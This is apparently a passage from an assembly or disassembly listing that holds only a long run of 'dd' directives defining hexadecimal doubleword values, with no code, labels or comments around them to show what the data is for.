		dd 71C2E4C1h, 82EBD3C1h, 435E66D9h, 842C0C7Fh, 0BFFAF2B1h
		dd 9C50FDFh, 0AF7A1AD8h, 97D60E77h, 304ABB10h, 0F58B3D1Ah
		dd 0F50CA3C1h, 38091DC5h, 0AEB92B8Bh, 68A7D40Ch, 2F47B08Eh
		dd 0B34C86BDh, 0C6166683h, 5AD84E40h, 9E144172h, 35FADC2Fh
		dd 0A1012706h, 28C0B671h, 189AE764h, 1A4CF534h,	0BB9C9336h
		dd 3C2EDD0Ah, 5C4C2DB7h, 68CAA04Fh, 0C66300BDh,	537BF9A4h
		dd 0D00AA8Eh, 0DB18415Fh, 3BC66125h, 0CAED1455h, 7223C2B4h
		dd 84B44555h, 427ABC25h, 3733BD56h, 351E3247h, 0D0DD0Dh
		dd 0E901986Ah, 0A42F6996h, 2740F8CEh, 6E194857h, 0FD4CF4A2h
		dd 0EA31465Ch, 5D85D30Bh, 0B7CE7A7Fh, 0D8AB9AA8h, 20FF6A6Fh
		dd 581391B8h, 0F0267FC0h, 0B2010A06h, 635BE278h, 84A200F5h
		dd 81A545FAh, 92564DECh, 522CA0C8h, 59213689h, 0E0A93964h
		dd 9A128D59h, 44EBFC6Ch, 603252B7h, 0EEBCCFF7h,	5CFC83C2h
		dd 23EF1423h, 7F8B2Ah, 55CC337Fh, 9717CE90h, 74F22D2Eh
		dd 0AE9712E2h, 45518D90h, 0BBCF7D67h, 2F85437Dh, 86A0A825h
		dd 438BDC91h, 0A957DFD5h, 0F3357099h, 89AF51A9h, 0ABE6CD68h
		dd 78A4E82Bh, 2113560h,	70DA80FEh, 0FDF83B7Eh, 14953804h
		dd 903AC874h, 3F147AF6h, 64E1FD9Dh, 76EA7577h, 0EACB55D5h
		dd 0F5CB7794h, 372771C9h, 0B1BB0C43h, 562BF78Ch, 17588507h
		dd 94D53D15h, 0F9CB2178h, 0AAE7AA02h, 41DB4C03h, 0B63E415h
		dd 2C986448h, 8B9D5E93h, 0CBDFB4B8h, 0C08C247Ch, 0EC433552h
		dd 4932AEC5h, 7DF8FB21h, 5A038C0Ch, 77B695Ch, 0B267813Bh
		dd 72209F4Eh, 0F8C0C114h, 69706945h, 41374567h,	0E3FC6419h
		dd 4A736977h, 0FEE56AE2h, 0B3CC99Ch, 0D9CBD9FFh, 484DE5D4h
		dd 7F5F6E95h, 26BF284Ah, 0B6C9627Eh, 5E67A7C6h,	0A3D1C7D5h
		dd 0ABE08477h, 40611822h, 276BC7C4h, 6DF00CC4h,	5075AB9Bh
		dd 0E08E2340h, 4B0178FCh, 0D0B44D0Ah, 8D6CF6DAh, 20B7F1EFh
		dd 0EAEF33ADh, 969CE161h, 0EF42CC72h, 538EAAC1h, 0F819AA28h
		dd 5B2B82AFh, 80AE260Ah, 568464EAh, 1534E3D1h, 0F46AC3E6h
		dd 4B1BD423h, 7D690338h, 0B0F5EDE9h, 0B28B2C44h, 0C4559976h
		dd 0FCEAD01Ah, 0F900E782h, 0BC050212h, 668B209Ch, 55FDF3EAh
		dd 70E35835h, 0E6A334F4h, 23B91B37h, 75CCEB27h,	0E3D1EE98h
		dd 6F5772FAh, 9DCAA6A4h, 0C0816511h, 30DD9431h,	0C7C74E8Bh
		dd 0BC18D09Fh, 1711ADEDh, 5D4AAA00h, 2131AE9Fh,	8F2DDE2Ah
		dd 38DF2F8h, 2E09465Fh,	6B258C91h, 312E52BDh, 0CF6981A8h
		dd 0F2B40A3Bh, 0A1C27B66h, 708D4CCEh, 1B0CC3F7h, 20A7B981h
		dd 0DAD09A1Fh, 196625F6h, 3F0E40B4h, 639FE629h,	97E0E1BEh
		dd 2C269CBAh, 0EB8EBBB8h, 0FAEB178Ch, 0F96D7E93h, 0FC988E8Dh
		dd 0CC938FB6h, 6EDA22C1h, 0E0F10FEBh, 1EEA5543h, 494004Bh
		dd 167E3837h, 278665F4h, 140C35CBh, 0A9560E88h,	0BA056318h
		dd 0D68F2427h, 50B42C48h, 9F6A17FAh, 0C724D538h, 77A80CABh
		dd 844F66F9h, 19F1C834h, 84D7B622h, 0BBC28471h,	2F18FE9Ah
		dd 0C750695h, 30E87426h, 0C5832AD2h, 0A153846Bh, 60C4D190h
		dd 4CB796FAh, 0B06C126Bh, 0E739F321h, 0B64BDBB3h, 43AE17C8h
		dd 0C23CDFD9h, 0E9D629D6h, 153C6415h, 0DA347A33h, 0A69A82FBh
		dd 9FA0EAC6h, 0C6CE42FCh, 80DB2E99h, 0F81A8A94h, 3A131A1Eh
		dd 94C4239Eh, 7051131h,	7D88438Bh, 369BA19Eh, 0B6C24D6Bh
		dd 9B56EC03h, 5B7DD596h, 0A1A97899h, 469BE9E8h,	7019D03Ah
		dd 0A1A1436Fh, 8FF599ABh, 0D350FB4Ah, 1E88572Bh, 76ACE7B2h
		dd 5D34EB91h, 3FB7D120h, 0BC6F51E7h, 0E3FA4D24h, 0F126E370h
		dd 0D57AC9E9h, 806244B0h, 2A37FF09h, 5EDE0E82h,	5787768Ch
		dd 8E55E6A6h, 993EC101h, 27EB582Ch, 0D1F51714h,	0A4D1C504h
		dd 826C382Dh, 89E28A67h, 0CB1919ECh, 0FE1DD6D1h, 0A6E8FDEDh
		dd 0D55F7A0Bh, 4D2992D2h, 0F9E5D833h, 7B00294Bh, 37E65DDFh
		dd 0E83DD471h, 6C734A83h, 0E4881B79h, 1BF2680Bh, 77E5C25Bh
		dd 923CA8D7h, 7AE0D694h, 0BFBF875Ah, 0D32D4CDDh, 4A5539h
		dd 7118DFCBh, 9FECC9E4h, 0CD1A4EE4h, 0CEA24B7Eh, 2A86E3E8h
		dd 327D2144h, 0F5607C20h, 0E1A6D35Ch, 2C8E3BFh,	31B98A7Ah
		dd 3C537D2Bh, 0F07DDAC2h, 60193E55h, 0E28FD83Ch, 4E7899EEh
		dd 4BC941C1h, 0CBEF6BB6h, 951F9E8Ch, 0B7E095EDh, 69715079h
		dd 0C6576EDBh, 0E62EAAF1h, 6A39808Dh, 3857C83Dh, 0A36B8350h
		dd 1D1BEC3Fh, 5B76E9E4h, 0D5136EF5h, 0F02AE0B7h, 0BB5E4470h
		dd 8F7A7B42h, 91F10EA8h, 12B5B9BCh, 989891Bh, 0CF8B3321h
		dd 0EDC3A052h, 0AF82FA13h, 9E775289h, 0A766B2FDh, 0DACDCFF0h
		dd 2A3462F6h, 0B4B96590h, 51FC20h, 4FAD1750h, 610D88BEh
		dd 0ED5E69Eh, 3FE9D958h, 0EDCA3F0Dh, 68E655E9h,	0A5254664h
		dd 828E94B1h, 29D5D0F3h, 0D2CCE297h, 6479DA01h,	7A1DE856h
		dd 0F5CFC0Bh, 46FB85DDh, 0A4110C56h, 3F75C36Eh,	2D8B30BBh
		dd 7D0B28D8h, 0CA9EB81Dh, 298AD5CEh, 0BF5A731Ah, 0D5BE85F7h
		dd 0CBAE361h, 0AC39452h, 0FB6FD3FBh, 817E4E55h,	0B19D71E6h
		dd 99F3B7F2h, 60A19F1Dh, 0D7EB4D0h, 0F9412492h,	5CF32045h
		dd 4579FC2Eh, 2A5E73FCh, 0E901955h, 0F1E9509Ch,	4CF8DC6Dh
		dd 9BA13E4Ch, 37CD344Dh, 0D7F93AA0h, 9BA5B6B9h,	30262A5Fh
		dd 7506D69Bh, 9ADC4368h, 4143F619h, 45847541h, 838DB22Ch
		dd 0E1C0703h, 0ED2C070Fh, 65D81F28h, 7188D184h,	0D3F53769h
		dd 0D17CFC54h, 9045CBD7h, 0B7C3241Ah, 0AF52344h, 2B8619B5h
		dd 1960EA43h, 0D47994C4h, 4E55C0B0h, 0CA694754h, 0C927D619h
		dd 0BC3B973Dh, 74FC2295h, 9625C9E3h, 80127153h,	8662B65Dh
		dd 6CD02468h, 0D5E4C1h,	59DE91C1h, 2DA993DAh, 68C0ED0Ah
		dd 9F205E0Bh, 0FA2B1A3Fh, 0A14C8482h, 3B083614h, 3F4DEB2Ah
		dd 0A225FB04h, 13EC9B99h, 0AAB4A135h, 0E503CC34h, 0F9AC4E52h
		dd 985A1D2Ah, 9C715E9Dh, 2B9FEEC2h, 1AC38F75h, 9B304C0Bh
		dd 0C446D8ABh, 0CBF9BD8Eh, 66118218h, 0AD1EDA55h, 557957C3h
		dd 0DFBDB353h, 3B975FFAh, 39655426h, 1C1D450Ch,	0ECACBF76h
		dd 8580AC83h, 2C6F80C8h, 209F2CF1h, 0F2412923h,	19091162h
		dd 921797A5h, 0E7F06D8Ch, 172FD731h, 0C2D173F9h, 5C05EF67h
		dd 0FFD71A7Eh, 0FAF9CEA4h, 3DC52D03h, 0DF11A567h, 54368B76h
		dd 1034DFFDh, 82B2422Ah, 0EBF31BB7h, 0E70456BDh, 8E0AA38Ah
		dd 7EB6CC19h, 0EE118706h, 0B2B4FA71h, 94033D43h, 33202E00h
		dd 6D72A705h, 2AC02330h, 86B5EF50h, 1D0BD8E0h, 122BA846h
		dd 9EDEBB6Ah, 24CB9EAh,	83F3F630h, 2E3636h, 4A10CF0Eh
		dd 0E77B8BDh, 7D523DFCh
		dd 7528D476h, 0CF9345A9h, 5C94AF0Fh, 4F530558h,	0EB618576h
		dd 7C4A44DDh, 0CC0E8CFh, 0DABBEA76h, 9EAAD3B6h,	96D287D9h
		dd 9B71ED6Dh, 1732C68Dh, 2DA041A5h, 74251F9Eh, 0D7DEB94Fh
		dd 0A9D0B365h, 0F5E8FA78h, 73114ECAh, 0F6CE5E82h, 9AA9826Bh
		dd 88D16288h, 1BC13525h, 8E65CA4Eh, 365ADAD7h, 555A517Fh
		dd 261ABE61h, 7EC435CEh, 58D51093h, 78F7D64Dh, 0ACE461E0h
		dd 80234C54h, 617EF8C9h, 0C2ADCE37h, 0B9F493E7h, 4F3C7D9h
		dd 1A837730h, 7DA9F49Bh, 7CB755F9h, 0DF72991Fh,	113C4AB2h
		dd 0A3BC2BF3h, 0F0841321h, 4C80700Ch, 4476C648h, 2AC9A7E1h
		dd 8FE74C61h, 102D34D9h, 0DC1ECF7Fh, 9EEAFDCCh,	5B005C05h
		dd 9B6906AEh, 7BCBEC1Ah, 329F9D25h, 2034361h, 48B2792h
		dd 99DF0196h, 0F0898A57h, 253B4FC8h, 20DAEC53h,	982891E9h
		dd 9286D90Dh, 8252AE8Ah, 9F946B1Eh, 0A17F886h, 53B5AB9Dh
		dd 0B994695Bh, 0A563EA29h, 54C8D1F1h, 0A5AAFC4Bh, 7C69CD3Bh
		dd 1ABC3D1Bh, 19189477h, 3E91CF98h, 0B37B2269h,	341793Ah
		dd 0F90BEC43h, 0A9BA2B05h, 41F9B24Ah, 0D2600332h, 4C533173h
		dd 5D81C22Ch, 0AE0D6717h, 2F04AA72h, 2EEBAFE8h,	685B2D4Ah
		dd 2354F37h, 1D802865h,	56CE733Ch, 0BC044C6Bh, 0C71C1051h
		dd 3D992FFCh, 0EFC1C42Ch, 1AD32C10h, 0F2D62C63h, 5A3D68Eh
		dd 3CEC51D9h, 3E3289C8h, 3E8AC4B0h, 0B97258B2h,	0C1EE6930h
		dd 46FCAFC4h, 0AB1BBFB5h, 8EE50BFAh, 6D25EAD4h,	177EB64h
		dd 0A20DA075h, 0A7968169h, 8E2AE61Ch, 227F7CDFh, 74D26D5Fh
		dd 4305DF1Eh, 8096CFEBh, 0CF3C2522h, 0FC1C8123h, 6AB94B3h
		dd 4852FFE4h, 449409FAh, 0C51B5631h, 0A313D49Bh, 0C119EA68h
		dd 0DC6FD226h, 0C241CB4h, 890D3BB9h, 6037D33Dh,	88CA1FCAh
		dd 8D863533h, 0C34AD40Fh, 8C5AD6C6h, 9ED8ED3Bh,	308CFF77h
		dd 28887FAFh, 2CA515F2h, 0F6DCF879h, 2E86A0A6h,	4BEA8660h
		dd 62F86330h, 241DDD3h,	0F09BFC65h, 0ED655395h,	0D94408F5h
		dd 1D57EF67h, 0CB99ACF7h, 5B3CC4B2h, 318C772Ch,	7A91F098h
		dd 62FF5230h, 0D18E29C8h, 0A8B86A62h, 91689F4Eh, 4CE13F32h
		dd 0C6A9131h, 323B485Dh, 45CA6804h, 306762FFh, 2A1E7290h
		dd 7533D272h, 0AE03A8F1h, 53648687h, 0F55BC0E1h, 0AC644E49h
		dd 71D46A84h, 8D02CB69h, 0AE43D169h, 1F0461C2h,	623798BEh
		dd 1A7668B0h, 9F13E998h, 0A090950h, 0A3A9663Bh,	0D3058212h
		dd 92AC1DE8h, 3C51A22Bh, 7583814Ah, 0FEB5AACAh,	0D475A2FEh
		dd 34737E8Bh, 0DD4E668Ah, 0CBCB8247h, 2E3FA605h, 617EE374h
		dd 0F0AC982Eh, 0D09E29FBh, 785C6378h, 2B2651AFh, 0A1E67BC9h
		dd 656C9DBh, 7AB8EAB4h,	0F1192B80h, 0E1D7F8ADh,	3328085Fh
		dd 65A1CBEDh, 7D7DFF40h, 3299215Fh, 0ADC4ED9Eh,	752971A0h
		dd 0DC2C6C65h, 0A633D482h, 60371826h, 8A5768D3h, 1FCDF0D2h
		dd 99E19C1Dh, 3003C309h, 294A0A7Fh, 3C5C6B6Ch, 59C01D32h
		dd 3725C934h, 0B13591CAh, 0CDBB0A9Dh, 5D4EC07Eh, 0A8C548BFh
		dd 7B2A3D03h, 7C44B0B7h, 9149D8CCh, 45EAABA2h, 0FF6D4A5Ah
		dd 0DD6DF119h, 48097A53h, 9DDD968h, 0C61128E3h,	22C46E81h
		dd 27BDB60Dh, 633A72BBh, 0EE5DB1F1h, 1EF548DFh,	1A29240Ah
		dd 13640FDEh, 0E343595Eh, 0A73AA8BAh, 0C582D736h, 94318DA8h
		dd 16C7A33Ch, 0BB6F8457h, 1D338EE9h, 7B4F4E7Bh,	4FA5B85Eh
		dd 25096B1Dh, 0ADE5503Eh, 2D617DDh, 0A0868AA4h,	91F3DE6Bh
		dd 8F7098Dh, 1579793Dh,	0F4FDFDE8h, 0AD9F5D2Eh,	339D857Eh
		dd 0AB7CF572h, 849D1604h, 50BE150Fh, 1819E96Eh,	454893DAh
		dd 0BAA84DA9h, 0B99B9458h, 8364985Dh, 0A1A09282h, 97B3F66Ah
		dd 8A686ED3h, 92D2A2F1h, 62265797h, 0C59474CAh,	747B40A0h
		dd 0E76C2703h, 0CF63E4DBh, 7258B6DBh, 22526C72h, 0AAF34763h
		dd 0B007986h, 2491F06Eh, 46390391h, 27EB8E4Ch, 3A20BC5Fh
		dd 0F3370EC8h, 6DA04B4Dh, 0C6BD80C1h, 5649EE32h, 0C50C0030h
		dd 0D222808Fh, 3E81DB01h, 2E1C8A5h, 0C696E5C0h,	47C9DC40h
		dd 0E5041964h, 8E2BC221h, 0E4FA4E9Ah, 4DDC9D6Ch, 79993C19h
		dd 0EAB988F5h, 0A7D41173h, 1B75926Dh, 5018A40Dh, 0E91682B0h
		dd 0B3D522F8h, 83D0300Ch, 0FB50CD72h, 0A2CD482Bh, 0A354B2E0h
		dd 24E289D2h, 24006DE7h, 9D0129FBh, 258C2E80h, 0B23A6FFFh
		dd 704D9571h, 0F898AB65h, 7319741Bh, 0CDB763D6h, 0C6509E83h
		dd 5EA6E97Bh, 0DD851C5Bh, 91E88B03h, 0BA565964h, 2C4D5B5Bh
		dd 928D40Eh, 5D1B1196h,	0D7C5F3C5h, 702F810Ah, 71FAE7DCh
		dd 82C46161h, 0EA0AB4F1h, 73003C57h, 56B47487h,	6ED07254h
		dd 0B726F4DEh, 5A65BC60h, 0B8E1F7FBh, 3DE29B2Ch, 0CF77DFE6h
		dd 112F47F2h, 67C7060Bh, 0AC536754h, 64FBE41h, 0ADB0427Ch
		dd 0BDA49A5Bh, 0F7D6B918h, 6F107E46h, 4A581B61h, 292E7F5Fh
		dd 0D69792BEh, 1F705963h, 0E5973AD7h, 0DC94767Eh, 0D5C445C3h
		dd 18473329h, 1147D518h, 4B5C9986h, 6F3E2DEBh, 0C7D2F0A0h
		dd 1452E366h, 0D267B664h, 223A01Ah, 1E395C66h, 0B2D0BC86h
		dd 22C7345Fh, 89E23BE3h, 422AA395h, 4787AA51h, 0C98FC25Bh
		dd 0D9E87149h, 0DBC12807h, 0B2901597h, 8D6CBC11h, 2C6F4FD2h
		dd 0E53B3D85h, 0B91A11D1h, 3D13F4D3h, 0A88B8948h, 0AE1274Ch
		dd 5A845450h, 0ACEC6619h, 8C6B301Bh, 0F79A3574h, 0DE028E92h
		dd 9997ECB8h, 0E3F4AEB4h, 0B5BB05D1h, 41552153h, 41FDDCE9h
		dd 31549A90h, 17629D3Ch, 0D00F8A8Ah, 952EF65Ah,	8DAD68D0h
		dd 0EBAD58A1h, 0A8386F40h, 2C779176h, 4067F40Fh, 0D61C021h
		dd 0C71D2F30h, 7DAD6734h, 75A7A9E6h, 69DA9123h,	0E9A93C90h
		dd 99BD1AA6h, 864DC9C5h, 0EBE7EE3Bh, 8F1C29F4h,	4BEED93h
		dd 33D46400h, 0D05715E6h, 43502F1Fh, 0E84FAF5Fh, 6AA6752Bh
		dd 0C4FAEDACh, 2B9890DDh, 8DFBA773h, 3D080Ah, 0D843E0E6h
		dd 1782EAA0h, 0E86C7A12h, 17B73357h, 52D59E60h,	19C7CD45h
		dd 751C3426h, 0B907EDF7h, 8B628E13h, 0B810B108h, 3A8E8E53h
		dd 33458D2Fh, 2F2D194Bh, 3151D268h, 2A15146Eh, 38E93236h
		dd 5408BCECh, 30B678FAh, 0AE4EEB5h, 3E3E84E1h, 227D3DDBh
		dd 9D0D4F64h, 66C29F75h, 105735D1h, 9215F1A7h, 20B31A30h
		dd 5879EA7h, 0DBFA7721h, 0AF20F11Dh, 0E3206E70h, 0D3499F9Ch
		dd 12B99663h, 4DBA6E4Ah, 0E1A8EB72h, 8ADCC827h,	801A141Bh
		dd 9EB7FCDh, 5692FF52h,	4A919581h, 1DA2C2B8h, 85FBCC54h
		dd 0DD4F69Fh, 6B80F4C0h, 3F5E2456h, 6AE5AD63h, 37ED8FE0h
		dd 45FACF9Ah, 6337B9E8h, 0F02AF456h, 0AD0030DBh, 0B9036C61h
		dd 0D444B226h, 0DFAA776Fh, 23DE2325h, 0F0A50500h, 94C40D7Ah
		dd 0A8AC0A2Ch, 43954C40h, 0B0B9D041h, 1223DC8Eh, 0FAD8F32Dh
		dd 0FC0E0616h, 0A61E03EDh, 1AFC4DBh, 7CA4C6DEh,	4C4FB1B8h
		dd 0DA945B8Ch, 605B53C6h, 0DCCE1203h, 7A0DEF34h, 5E08BE93h
		dd 0DC42D184h, 0E0008198h, 3DBD991Bh, 6740C2F8h, 0E5C0FCEEh
		dd 9CD2CC87h, 53601DF2h, 5678FCA3h, 0EFD21CA2h,	0B0CA9A14h
		dd 43147F4Fh, 0A8379E95h, 2F27C5EEh, 30E94C12h,	0B6B7ECC5h
		dd 0F7EBFF1Bh, 9E419A4Eh, 33D8B390h, 0EA7E97C6h, 2525D0F1h
		dd 7658DB9Ch, 0A073BBAEh, 44CAA4E1h, 40F1646Eh,	2D216D4Dh
		dd 473CD981h, 36E7F7D0h, 1DFD2F52h, 4252669Eh, 3317CFBCh
		dd 5358689Ch, 0DFFA160Fh, 0AB1BC98Dh, 57C5C30Eh, 0A00AB45Fh
		dd 7A1D7FE3h, 0A21C3FF9h
		dd 0FFC3E58Ch, 76D70003h, 0E6E04FB9h, 0BDE122E7h, 61E99463h
		dd 19215DD5h, 0C87A20B6h, 0DE58934Eh, 95D05A3Dh, 0B2147462h
		dd 9387D449h, 92196D35h, 0C011B90h, 433BE421h, 0A9FDA6CBh
		dd 421ED0FAh, 57EC280Bh, 590902DEh, 835F63ACh, 0DE12C597h
		dd 5EEDD8EDh, 668379E1h, 9ED0409h, 5CF0B886h, 2832C69Fh
		dd 1934E07Dh, 0D2BE3A76h, 1E34B71h, 3A402B3h, 0D517DDE9h
		dd 8DFA58A4h, 0AA9F8CCBh, 30C4F9B1h, 14FC09D9h,	0F765720Eh
		dd 0BAF3D266h, 158C3C95h, 0E3575D04h, 122A4E35h, 4ED7F15Eh
		dd 186D55FBh, 0BFF57374h, 367250C0h, 179938D8h,	5FC8E721h
		dd 22639080h, 0D965CC4h, 9A036C72h, 4FE6E185h, 0DF4D92DDh
		dd 0CB581BA6h, 5DFF0BCAh, 0CBBDC149h, 0DD55AFF1h, 0D45DEC15h
		dd 361803Bh, 2104CC7Eh,	19A21C5Ah, 7AFC954h, 5197FBBAh
		dd 0B722037Eh, 2040C56Eh, 0C3A9BF98h, 0EC05B152h, 0BBB4050Fh
		dd 0D7299936h, 0F486807Bh, 205432C1h, 69C136A1h, 0AF6A9813h
		dd 0FE289343h, 930D61Ch, 0C86A5B06h, 1B2AB62Fh,	72BB8A4Eh
		dd 0F7C721ADh, 0AE7CB675h, 8D5D5061h, 0D786F93Dh, 2C9775B1h
		dd 7BD7264Eh, 9DBAB11h,	48B07952h, 6329138Dh, 0A0C1BF4Fh
		dd 0DBE708C3h, 75A0F026h, 0BCF230B0h, 69BF246Ch, 0E0D9934Dh
		dd 577E90FDh, 0CED1B245h, 0D9AA0CE4h, 0EBF59BADh, 9112BA79h
		dd 0DB9332BBh, 49E1976Eh, 0D9E54243h, 0CE5BD294h, 69EF0337h
		dd 819826D2h, 5BD48DEFh, 6BFA9200h, 9AECDE22h, 0F132B112h
		dd 8944B0FAh, 0B9D6A67Eh, 88ED1A78h, 8F91ED58h,	0A7B87BE0h
		dd 0A53D1F05h, 0FAF88AB6h, 641CCDB0h, 491970E5h, 469925C9h
		dd 0F2E83060h, 0C327D37Ah, 0B75E7F81h, 0A2866CBAh, 0EFB24649h
		dd 7E110938h, 0DDD62BCEh, 0A92CF3F4h, 8257B97Bh, 0B9A235Eh
		dd 0BC640FAAh, 0E9736DFBh, 0D00A3AD6h, 0F769C02Eh, 0A77AEF2Ah
		dd 81DA653Ah, 0EB064A5Ah, 0CF1F16EBh, 7F112B7Dh, 8277E34Ah
		dd 0A5F50345h, 3EE17D48h, 0A3B6B2AEh, 46692AF5h, 921F841Ah
		dd 0DBEA9FC2h, 35522956h, 5F1B8AFFh, 7B0BB00Fh,	6B7ED5A6h
		dd 0DEA418E6h, 0ACF3F585h, 0A21DB774h, 0DBA86C18h, 24FFA88Fh
		dd 2A270A7h, 2A4613E4h,	1724ACB4h, 16A980AFh, 17580E27h
		dd 0FAA27F4Dh, 3F8DADE3h, 319FA75Ch, 0A055FE32h, 0EF7E7B9Eh
		dd 40CCACD6h, 3DD1A6EBh, 4BAD613Dh, 3B6F0BFDh, 45CDD329h
		dd 6515955Eh, 4AE1EBEAh, 3E0B71EAh, 4327DA8Bh, 48B1E4EAh
		dd 2F70F958h, 0FF3BF99Fh, 704A5DA8h, 66723C58h,	6B5516E1h
		dd 6E4644A9h, 8F8F1473h, 74C963C1h, 2DEF4D6Ah, 82250C63h
		dd 0F2B4751Ch, 9F914D1Ch, 2AB770A7h, 22317124h,	0ABE22ED0h
		dd 0A2D9FB53h, 7392F939h, 5878A672h, 0C92BA2B5h, 0CD397CE0h
		dd 109ADE94h, 405A79AAh, 66DD8CFEh, 73E72ECCh, 0C5CD59DAh
		dd 400B0E86h, 0F272D95Eh, 44AED79Ah, 3BD5B810h,	2A241A90h
		dd 7BF47A71h, 0DF5721AAh, 0E1178CB7h, 76E9C767h, 0C8C607C7h
		dd 0EB5DA91Fh, 0C36E4400h, 0EC6A1098h, 6571E03Ch, 9E974F09h
		dd 9CF670A5h, 36DB4FC5h, 800F7C54h, 9EAC8D28h, 0E152B7C6h
		dd 5541C887h, 0EC8271D8h, 12F5CE7Bh, 803FE5EDh,	553BC15Bh
		dd 39841A39h, 40F1E861h, 7B476A5Ch, 2661DFAh, 90D8E84Ah
		dd 0C40B9A21h, 58997F96h, 0BD2D2F51h, 88E6E732h, 1A61924Eh
		dd 4E2892B9h, 134D330Fh, 0FC3ED6F1h, 9941090Ah,	0BDF24D05h
		dd 38A578C0h, 0C6A81707h, 42CF709h, 0B88611FEh,	39068B0Dh
		dd 760720FAh, 932AE9D5h, 566425Eh, 6A49FD31h, 7BE3885Ch
		dd 0F5EF3CA1h, 66926FCAh, 0B93994CFh, 7DF8570Fh, 0A6557235h
		dd 75F3DA3Dh, 0A8DAE865h, 0E4C60869h, 0BEAEF37Ch, 6BBABBF8h
		dd 0FE465D4Bh, 821BC047h, 5A220D00h, 863C051Eh,	9263AE00h
		dd 36140B5Ch, 0A34C0A56h, 8EBA3294h, 88054B44h,	7F97D825h
		dd 0C5886761h, 95623922h, 1E8CFBFCh, 259F2309h,	0A8FC126h
		dd 8E19E34h, 0AAB63DBAh, 0FBCB1F43h, 0AB21D9ADh, 0BF9C0A7Bh
		dd 79F62E82h, 911D9A4Ch, 0CE4607A4h, 0A9A4E354h, 68596604h
		dd 3F9D8069h, 772C6708h, 26A05626h, 355D840Dh, 0C22CBDB4h
		dd 0E8422C8Dh, 0F57C7F7Eh, 0D78C3200h, 0DFC2ABBDh, 0BFC815F8h
		dd 0B8E64A38h, 0D1D27D31h, 75A3446Dh, 0ED6F0D36h, 0C1171323h
		dd 23A875ACh, 2E893E2Fh, 0D44E5365h, 7B23D2FEh,	5A1B9C69h
		dd 0A30BCC9Ch, 23DD04Dh, 58824A54h, 2BF264B1h, 0E1D56EF1h
		dd 0A997CA81h, 44FAEC2Ah, 0DE558B30h, 0FD60196Dh, 308A460Dh
		dd 69540264h, 78454EC3h, 5C18D410h, 4067458Fh, 0B5CED372h
		dd 0D4DCB62Ah, 0AB608211h, 3425BC2Fh, 3FFD8766h, 0C4B32211h
		dd 6AF5286Fh, 1EAE01A1h, 0E8A00B1h, 780DF939h, 0C79591F7h
		dd 0A471F32Fh, 56A1E8Bh, 8C04AF44h, 3C8C539h, 8D37CD9Ah
		dd 50AE42Eh, 3F0D170Ch,	15E2C46Eh, 25ABC206h, 0C6559290h
		dd 91CC397Bh, 1AA9D0D7h, 8830D0EFh, 9A0A9E25h, 53B2F768h
		dd 0EE22C028h, 0BAE26EEEh, 6F78AF1Eh, 0F4E20FACh, 0B41A136Ch
		dd 0AA7F0D7Eh, 0A516A908h, 0B2268726h, 2ACF4ABBh, 130587CFh
		dd 0D994FED5h, 0EEE40125h, 5D9FC5ACh, 570AD0A1h, 78CDE850h
		dd 2E1209Eh, 0B14FF9A7h, 7388E68h, 950D9307h, 78539790h
		dd 7C5EE41Ch, 2933D6AFh, 44F16005h, 36484FC2h, 53D7CFECh
		dd 38BD7E6Eh, 13C007FAh, 0B1A8341Ah, 821DF742h,	93FAB994h
		dd 5DECBA9Fh, 51CCE41Ah, 15B71C4Bh, 0A12CB6BFh,	0FA8D0271h
		dd 0B635160Ah, 12DF2755h, 0BA4E26BCh, 17B2EED0h, 0F3B5B063h
		dd 0DC9747EAh, 97F619B7h, 3D57F690h, 0EC75DF57h, 585173Ah
		dd 0E7AA3D01h, 0EC72D2BBh, 953E72FEh, 712536C2h, 41E9C8D4h
		dd 0D8D5E152h, 0AF1AFA2Fh, 52DDC873h, 42241E95h, 84B4CBBBh
		dd 85D3E16h, 5561C7FBh,	0A761C559h, 0DB339935h,	0D270536Ah
		dd 0C16957E6h, 5EB13FECh, 0AF803173h, 60D58B5Ah, 5909CC71h
		dd 3FBC1220h, 2746011Ch, 0B94981BAh, 0BA6652B1h, 0BF9E7D89h
		dd 0D3B830A2h, 81B0DEC6h, 0B18B3B0Dh, 567BBA00h, 0FF60E10Ch
		dd 0CD3F6890h, 24FB0FB9h, 0C6037B03h, 5693E0F1h, 78AA1AC3h
		dd 0C45BB813h, 0DA99D917h, 0F0B4746Bh, 940A2E1Eh, 0E550C05h
		dd 4C98C7Fh, 0F49EDB24h, 6F8D3F74h, 2E32D261h, 0B9191973h
		dd 9E0E15E7h, 0CDC743E8h, 3E0FA914h, 0FDCBC24Bh, 1D08F26h
		dd 0E602F2BDh, 88736F78h, 41D118B0h, 0EE36D416h, 86D1CF43h
		dd 0CAC15A00h, 7A02D89Fh, 0AEB7A6E7h, 15372238h, 523EA297h
		dd 0D9FFF068h, 0C5F0BEEAh, 1B0F5206h, 48378562h, 0E08FF7A9h
		dd 66BA2D4Dh, 3586F2D3h, 536BABE0h, 8723EB45h, 42975BDh
		dd 2C1B42DCh, 0FD309106h, 8CFD05E8h, 0F6F2A6DAh, 75836D87h
		dd 5A22153Fh, 2BB4AA3Dh, 0A2102F21h, 5B4CC084h,	5E18CBE3h
		dd 621B211h, 0B65B5115h, 2BD998DDh, 0E274DAA4h,	0FB29148Ch
		dd 976DA4FCh, 7B7C3108h, 0FC1AD219h, 57E7FC4Bh,	0F74BDCBBh
		dd 385235CCh, 9D2FF3E0h, 6FCCA861h, 0B9774DECh,	0FF637EF9h
		dd 7B9DF72Ch, 0C2983AC3h, 0E93C6A3Ah, 0EB389DEBh, 5625BCF8h
		dd 982D49EEh, 4839AA44h, 3892E128h, 0AE499FFEh,	7976FFC0h
		dd 0BE435D07h, 3F7C647h, 2F63B976h, 0D8CC14C9h,	6876B4F2h
		dd 1D7A712Fh, 31A71F29h, 3DDF1A72h, 625C3149h, 0FC02601Ah
		dd 7D35A097h, 0ADE92591h, 93EB0F4Eh, 89129FDFh,	3D11FFCBh
		dd 4C9698Bh, 0C43FD02Ah, 69782D20h, 33993D5Eh, 0F255BD54h
		dd 55E2E6F0h, 0A17B121h
		dd 2857CFB6h, 88C4D7F1h, 0C6516A8Ah, 4987572Bh,	0DF7D0CAAh
		dd 47CF0135h, 0BD91DFCCh, 0A9E56F4Dh, 0AEB4C09h, 11B98295h
		dd 2CE3D577h, 1C9EBD41h, 94F53A08h, 0ADF00F0h, 47539809h
		dd 0F1C6F86Bh, 0AAA40B12h, 211041DAh, 2914F8FDh, 0B54DE160h
		dd 7AD87DD7h, 0DB7C31F8h, 67857034h, 149F9064h,	4A66623h
		dd 0F99E9D5Bh, 93F87475h, 58060391h, 3989E48Ah,	7FBD04B3h
